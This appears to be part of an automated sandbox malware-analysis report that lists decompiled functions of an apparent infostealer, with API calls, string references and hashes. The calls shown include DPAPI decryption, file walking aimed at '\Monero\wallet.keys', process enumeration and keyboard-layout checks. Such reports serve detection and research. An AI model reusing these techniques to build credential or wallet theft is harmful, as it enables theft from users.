Function 00CE7687 Relevance: 11.7, Strings: 8, Instructions: 1676COMMON

Download Yara Rule

Strings

%.>i, xrefs: 00CE8562
c@YR, xrefs: 00CE79F8
&Nw[, xrefs: 00CE812B
3,6, xrefs: 00CE8766
/vO, xrefs: 00CE8285
@?_}, xrefs: 00CE7F46
Zz, xrefs: 00CE833E
,}>, xrefs: 00CE7F5A

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Zz$%.>i$&Nw[$/vO$3,6$@?_}$c@YR$,}>
API String ID: 0-4019879789
Opcode ID: d0a7e110e0bfca6ef5afc8f37cfe6bbc894ce311795e4aa91b742b7d690e0fe5
Instruction ID: 8da7a39af3c44122696512f7de76b33c306c27dec5ae562365cf606cfe5b96e3
Opcode Fuzzy Hash: d0a7e110e0bfca6ef5afc8f37cfe6bbc894ce311795e4aa91b742b7d690e0fe5
Instruction Fuzzy Hash: 47B247F360C2049FE3046E2DEC8567AFBE9EFD4620F1A4A3DEAC4C3744E97558058696

Function 00937B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

GetKeyboardLayoutList.USER32(00000000,00000000,009405AF), ref: 00937BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00937BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00937C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00937C62
LocalFree.KERNEL32(00000000), ref: 00937D22

Strings

/ , xrefs: 00937C7F

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: c48b78818de65fa11cf3b6020a218571619bf85ea1022db42761ba55bc5908fe
Instruction ID: 136a7c5290e3a6aa55efefcb7383c94035a0d01840497ec1d0c5d2251a1431fc
Opcode Fuzzy Hash: c48b78818de65fa11cf3b6020a218571619bf85ea1022db42761ba55bc5908fe
Instruction Fuzzy Hash: 3F413D71940218ABDB24DB94DC99BEEB3B8FF84700F204199E10A73291DB742F85CFA1

Function 0092E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00940D73), ref: 0092E4A2
StrCmpCA.SHLWAPI(?,009414F8), ref: 0092E4F2
StrCmpCA.SHLWAPI(?,009414FC), ref: 0092E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0092EBDF

Strings

\*.*, xrefs: 0092E44D

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 854a819ac2e9d551864334711c0a926e2bb35c97d0152d4cf296e5f74f78a00e
Instruction ID: 1244e1c1788193dc33612e871342a215e259dbd4d405b81fb740f6b0ce540fbd
Opcode Fuzzy Hash: 854a819ac2e9d551864334711c0a926e2bb35c97d0152d4cf296e5f74f78a00e
Instruction Fuzzy Hash: 37123172910118ABDB18FB60DC96FEE7378AFD4300F4045A9B54AA6191EF346F49CF92

Function 00CE0AA8 Relevance: 9.1, Strings: 6, Instructions: 1583COMMON

Download Yara Rule

Strings

ksu, xrefs: 00CE0B70
34g6, xrefs: 00CE0B46
|ey?, xrefs: 00CE1E79
%-g, xrefs: 00CE0FE4
~-36, xrefs: 00CE0DD4
V_vn, xrefs: 00CE0FAA

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %-g$34g6$V_vn$ksu$|ey?$~-36
API String ID: 0-3917117089
Opcode ID: 683db20287f2a1ff4465d71e7641caa5be54898a0e2eaeeaad9ae7571c069ae4
Instruction ID: bf6166820bf5065a41692e20e04336b003383f6b96b378b47f6590cd5feb32ee
Opcode Fuzzy Hash: 683db20287f2a1ff4465d71e7641caa5be54898a0e2eaeeaad9ae7571c069ae4
Instruction Fuzzy Hash: 7DB215F390C2049FE7046F29EC8567AFBE9EF94720F1A493DEAC583344EA3558458687

Function 00CEAD77 Relevance: 7.9, Strings: 5, Instructions: 1664COMMON

Download Yara Rule

Strings

r+Ky, xrefs: 00CEB1B7
JtZ, xrefs: 00CEAF04
2|=, xrefs: 00CEB5D2
M%H, xrefs: 00CEC0B5
jwl*, xrefs: 00CEBD48

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2|=$JtZ$M%H$jwl*$r+Ky
API String ID: 0-660362512
Opcode ID: a05c92b1f288b0f72a4d0add8e036c58558a5146d16af8ab432a314936ecd58d
Instruction ID: f7dc3485f3e42bfbe51a4598c8a8c7189c7548c7a84f1f9367bc588bd74e06ee
Opcode Fuzzy Hash: a05c92b1f288b0f72a4d0add8e036c58558a5146d16af8ab432a314936ecd58d
Instruction Fuzzy Hash: 5BB277F3A0C2049FE3046E2DEC8567ABBE9EF94720F1A453DEAC4C3744EA7558058697

Function 0092C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0092C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0092C87C
lstrcat.KERNEL32(?,00940B46), ref: 0092C943
lstrcat.KERNEL32(?,00940B47), ref: 0092C957
lstrcat.KERNEL32(?,00940B4E), ref: 0092C978

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 23abf8d079fcce78f1c66bf966b3eb96621931463ceef271a5d9bf85896ab7b3
Instruction ID: b0dfa600a8ac42ec28a6f068ee887ab66140bbf6c6525e5ab83736cdb78aeed8
Opcode Fuzzy Hash: 23abf8d079fcce78f1c66bf966b3eb96621931463ceef271a5d9bf85896ab7b3
Instruction Fuzzy Hash: 014141B990421ADBCF10DFA4DD89BFEB7B8BB44704F1045A8E509A72C0DB755A84CF91

Function 00927240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0092724D
RtlAllocateHeap.NTDLL(00000000), ref: 00927254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00927281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 009272A4
LocalFree.KERNEL32(?), ref: 009272AE

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: c3ce5e13dbd9c4fc09936991601a3094dc3c465b1d71001aaca5cc44e32a1ba1
Instruction ID: 3cc454083f55dbe8d7fddb08246807f7b6c6e840f0646f9085a3aa1aed3bab2c
Opcode Fuzzy Hash: c3ce5e13dbd9c4fc09936991601a3094dc3c465b1d71001aaca5cc44e32a1ba1
Instruction Fuzzy Hash: 1E011275A40308BBDB10DFD4DD45F9D77B8EB44704F104558FB05BB2C0DAB4AA008B65

Function 00939600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0093961E
Process32First.KERNEL32(00940ACA,00000128), ref: 00939632
Process32Next.KERNEL32(00940ACA,00000128), ref: 00939647
StrCmpCA.SHLWAPI(?,00000000), ref: 0093965C
CloseHandle.KERNEL32(00940ACA), ref: 0093967A

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: bdda154954ad97c0a0295bb97afa6ec6fb01f2c71af1916eef0b1e9c1531ab95
Instruction ID: 211be6c817ed013fda3e7edffaddda7042ef8497ea3537e3fa8cf08b80e6eead
Opcode Fuzzy Hash: bdda154954ad97c0a0295bb97afa6ec6fb01f2c71af1916eef0b1e9c1531ab95
Instruction Fuzzy Hash: 03010C75A01208ABCF14DFA5CD99BEDB7F8EB48304F104188E909A7290DBB8AF40DF51

Function 00CE977A Relevance: 7.5, Strings: 5, Instructions: 1211COMMON

Download Yara Rule

Strings

e^^, xrefs: 00CE9BDC
0k, xrefs: 00CE9DEC
_$w_, xrefs: 00CE9E87
}\=o, xrefs: 00CE9B0A
m{m, xrefs: 00CEA502

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0k$_$w_$e^^$}\=o$m{m
API String ID: 0-3038091240
Opcode ID: 78441b5d05dcf85b942691049d0df88c9f7abf123d459e7b5f2d90e4a00bbf46
Instruction ID: f8d7dc368a922e72dd2bed287c8c54b064d6f80a24fa9de551af5f3dd8295aff
Opcode Fuzzy Hash: 78441b5d05dcf85b942691049d0df88c9f7abf123d459e7b5f2d90e4a00bbf46
Instruction Fuzzy Hash: A282D6F3A08204AFE3146E2DEC8577AFBE9EF94760F16493DE6C483744E63558048697

Function 00CEE3E6 Relevance: 6.6, Strings: 4, Instructions: 1557COMMON

Download Yara Rule

Strings

<E_, xrefs: 00CEE687
tB;r, xrefs: 00CEEEB9
\I~k, xrefs: 00CEEB80
~W, xrefs: 00CEEACE

Memory Dump Source

Source File: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <E_$\I~k$tB;r$~W
API String ID: 0-3662467418
Opcode ID: 6d2c3baf2c5a61bdd1c4c486394a6583085dba1082155fa1203ada94b9e0231a
Instruction ID: 08096f7b96796058cc4ddef12bfb77240a08519c4eec730c2fb7f125de015a18
Opcode Fuzzy Hash: 6d2c3baf2c5a61bdd1c4c486394a6583085dba1082155fa1203ada94b9e0231a
Instruction Fuzzy Hash: 71B2E7F3A082009FE304AE2DEC8577ABBE5EF94720F1A493DEAC4C7744E63558158697

Function 00938680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,009405B7), ref: 009386CA
Process32First.KERNEL32(?,00000128), ref: 009386DE
Process32Next.KERNEL32(?,00000128), ref: 009386F3

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

CloseHandle.KERNEL32(?), ref: 00938761

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 93cca1786e3d8782148aebd74c733bd76ed6f7ce522cd54b00ef082601312851
Instruction ID: 9731a1bb8338f3673f9fcd833c87b638c8915252d79707b5937d07826f51fd2c
Opcode Fuzzy Hash: 93cca1786e3d8782148aebd74c733bd76ed6f7ce522cd54b00ef082601312851
